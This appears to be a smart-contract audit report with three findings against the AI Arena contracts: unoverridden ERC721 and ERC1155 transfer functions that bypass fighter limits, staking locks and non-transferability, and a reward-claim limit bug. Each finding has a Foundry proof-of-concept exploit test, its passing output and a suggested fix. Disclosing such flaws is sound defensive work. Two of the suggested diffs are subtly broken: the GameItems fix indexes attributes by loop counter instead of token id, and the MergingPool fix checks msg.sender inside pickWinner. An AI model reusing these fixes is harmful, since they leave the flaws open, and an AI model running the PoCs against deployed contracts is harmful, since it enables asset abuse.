AI Arena - 0x13's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L16

Vulnerability details

Impact

Players can have more than 10 fighters and trade fighters that are currently staked.

Proof of Concept

Contract FighterFarm inherits from contract ERC721.

Contract ERC721 has two public functions safeTransferFrom: safeTransferFrom(address from, address to, uint256 tokenId) safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)

One of them safeTransferFrom(address from, address to, uint256 tokenId) is overridden in the contract FighterFarm and some restrictions* are added inside the function _ableToTransfer: require(_ableToTransfer(tokenId, to));

* some restrictions mean: players cannot have more than 10 fighters and cannot trade fighters that are currently staked.

Function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) is not overriden in the contract FighterFarm.

It gives possibility to bypass these restrictions. See the test.

You can use the protocol's own test suite to run this PoC.

• Copy and paste the snippet below into the FighterFarm.t.sol test file.
• Run it with forge test --match-test testSafeTransferFromNotOverriden

    function testSafeTransferFromNotOverriden() public {
        // Player with address _ownerAddress got 1 fighter
        _mintFromMergingPool(_ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);

        // Player with address _DELEGATED_ADDRESS got 10 fighters
        for (uint256 i = 0; i < 10; i++) {
            _mintFromMergingPool(_DELEGATED_ADDRESS);
            assertEq(_fighterFarmContract.ownerOf(i + 1), _DELEGATED_ADDRESS);
        }

        // Update fighter's staking status
        _fighterFarmContract.addStaker(_ownerAddress);
        _fighterFarmContract.updateFighterStaking(0, true);
        assertEq(_fighterFarmContract.fighterStaked(0), true);

        // Transfer token that is currently staked and recipient will have 11 fighters
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "");
        assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);
    }

Results after running the tests:

Running 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] testSafeTransferFromNotOverriden() (gas: 4397285)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.17ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Function ERC721::safeTransferFrom() must be overridden:

diff --git a/src/FighterFarm.sol b/src/FighterFarm.sol
index 06ee3e6..4aaa296 100644
--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -364,6 +364,25 @@ contract FighterFarm is ERC721, ERC721Enumerable {
         _safeTransfer(from, to, tokenId, "");
     }
 
+    /// @notice Safely transfers an NFT from one address to another.
+    /// @dev Add a custom check for an ability to transfer the fighter.
+    /// @param from Address of the current owner.
+    /// @param to Address of the new owner.
+    /// @param tokenId ID of the fighter being transferred.
+    /// @param data Optional data to send along with the call
+    function safeTransferFrom(
+        address from, 
+        address to, 
+        uint256 tokenId,
+        bytes memory data
+    ) 
+        public 
+        override(ERC721, IERC721)
+    {
+        require(_ableToTransfer(tokenId, to));
+        _safeTransfer(from, to, tokenId, data);
+    }
+
     /// @notice Rolls a new fighter with random traits.
     /// @param tokenId ID of the fighter being re-rolled.
     /// @param fighterType The fighter type.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L10

Vulnerability details

Impact

Game items that are not transferable can be transferred.

Proof of Concept

Contract GameItems inherits from contract ERC1155.

Contract ERC1155 has two public functions safeTransferFrom and safeBatchTransferFrom:

• safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes memory data)
• safeBatchTransferFrom(address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)

One of them safeTransferFrom is overridden in the contract GameItems and restriction to transfer only transferable token is added.

Function safeBatchTransferFrom(address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) is not override in the contract GameItems.

It gives possibility to transfer not transferable token. See the test.

You can use the protocol's own test suite to run this PoC.

• Copy and paste the snippet below into the GameItems.t.sol test file.
• Run it with forge test --match-test testSafeBatchTransferFromNotOverridden

    function testSafeBatchTransferFromNotOverridden() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 1);

        // Make token to be not transferable
        _gameItemsContract.adjustTransferability(0, false);

        // Try to transfer by using safeTransferFrom, we cannot
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");

        uint256[] memory ids = new uint256[](1);
        ids[0] = 0;

        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;

        // However, it is possible to transfer token with safeBatchTransferFrom
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

Results after running the test:

Running 1 test for test/GameItems.t.sol:GameItemsTest
[PASS] testSafeBatchTransferFromNotOverridden() (gas: 183852)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.93ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

Function ERC1155::safeBatchTransferFrom() must be overridden:

diff --git a/src/GameItems.sol b/src/GameItems.sol
index 4c810a8..36be517 100644
--- a/src/GameItems.sol
+++ b/src/GameItems.sol
@@ -302,6 +302,25 @@ contract GameItems is ERC1155 {
         super.safeTransferFrom(from, to, tokenId, amount, data);
     }
 
+    /// @notice Safely transfers an NFTs from one address to another.
+    /// @dev Added a check to see if the game item is transferable.
+    function safeBatchTransferFrom(
+        address from, 
+        address to, 
+        uint256[] memory ids,
+        uint256[] memory amounts,
+        bytes memory data
+    ) 
+        public 
+        override(ERC1155)
+    {
+        uint256 idsLength = ids.length;
+        for (uint256 i = 0; i < idsLength; i++) {
+            require(allGameItemAttributes[i].transferable);
+        }
+        super.safeBatchTransferFrom(from, to, ids, amounts, data);
+    }
+
     /*//////////////////////////////////////////////////////////////
                             PRIVATE FUNCTIONS
     //////////////////////////////////////////////////////////////*/    

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L118-L132

Vulnerability details

Impact

Player in some cases does not get his fighters as a reward.

Proof of Concept

Each player has limit to have only 10 fighters, constant MAX_FIGHTERS_ALLOWED. Function MergingPool::pickWinner() does not check if this limit is reached.

Assume, player got (acquired or was rewarded) 9 fighters. Then, he won the game and was rewarded by admin, function MergingPool::pickWinner(). However, for whatever reason, he did not claim his fighter. He won the game one more time and was rewarded by admin again. When he tries to get his 2 fighters, function MergingPool::claimRewards() will be reverted as maximum limit of fighters was reached. This is required statement: require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);

You can use the protocol's own test suite to run this PoC.

• Copy and paste the snippet below into the MergingPool.t.sol test file.
• Run it with forge test --match-test testPickWinnerDoNotCheckMaxFightersLimit

    function testPickWinnerDoNotCheckMaxFightersLimit() public {
        // Set one winner per period to simplify the test
        _mergingPoolContract.updateWinnersPerPeriod(1);

        // Player1 acquires 9 fighters
        address player1 = vm.addr(11);

        for (uint256 i = 0; i < 9; i++)
        {
           _mintFromMergingPool(player1);
        }

        // Fighter with id 0 of player1 is winner 2 times.
        uint256[] memory _winners = new uint256[](1);
        _winners[0] = 0;

        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);

        // Player1 did not claim his fighters as reward and going to do this
        // However, it can do this as it owns 9 and should get 2, but maximum MAX_FIGHTERS_ALLOWED=10
        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";

        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(10);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(10);
        _customAttributes[1][1] = uint256(80);

        vm.prank(player1);
        vm.expectRevert("balanceOf(to) < MAX_FIGHTERS_ALLOWED");
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
    }

Results after running the tests:

Running 1 test for test/MergingPool.t.sol:MergingPoolTest
[PASS] testPickWinnerDoNotCheckMaxFightersLimit() (gas: 4127308)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.73ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual review, Foundry

Recommended Mitigation Steps

I would recommend to add function isMaxFightersLimitReached in the FighterFarm contract and add required statement to the function MergingPool::claimRewards().

diff --git a/src/FighterFarm.sol b/src/FighterFarm.sol
index 06ee3e6..de4fb32 100644
--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -543,4 +543,10 @@ contract FighterFarm is ERC721, ERC721Enumerable {
           !fighterStaked[tokenId]
         );
     }
+
+    /// @notice Check if the maximum limit of fighters is reached.
+    /// @param fighterOwner The address of owner of the fighter.
+    function isMaxFightersLimitReached(address fighterOwner) public view returns(bool) {
+        return balanceOf(fighterOwner) >= MAX_FIGHTERS_ALLOWED;
+    }
 }
diff --git a/src/MergingPool.sol b/src/MergingPool.sol
index 8efc856..f703af6 100644
--- a/src/MergingPool.sol
+++ b/src/MergingPool.sol
@@ -122,6 +122,7 @@ contract MergingPool {
         uint256 winnersLength = winners.length;
         address[] memory currentWinnerAddresses = new address[](winnersLength);
         for (uint256 i = 0; i < winnersLength; i++) {
+            require(!_fighterFarmInstance.isMaxFightersLimitReached(msg.sender), "Maximum fighters limit has been reached");           
             currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]);
             totalPoints -= fighterPoints[winners[i]];
             fighterPoints[winners[i]] = 0;

Assessed type

Other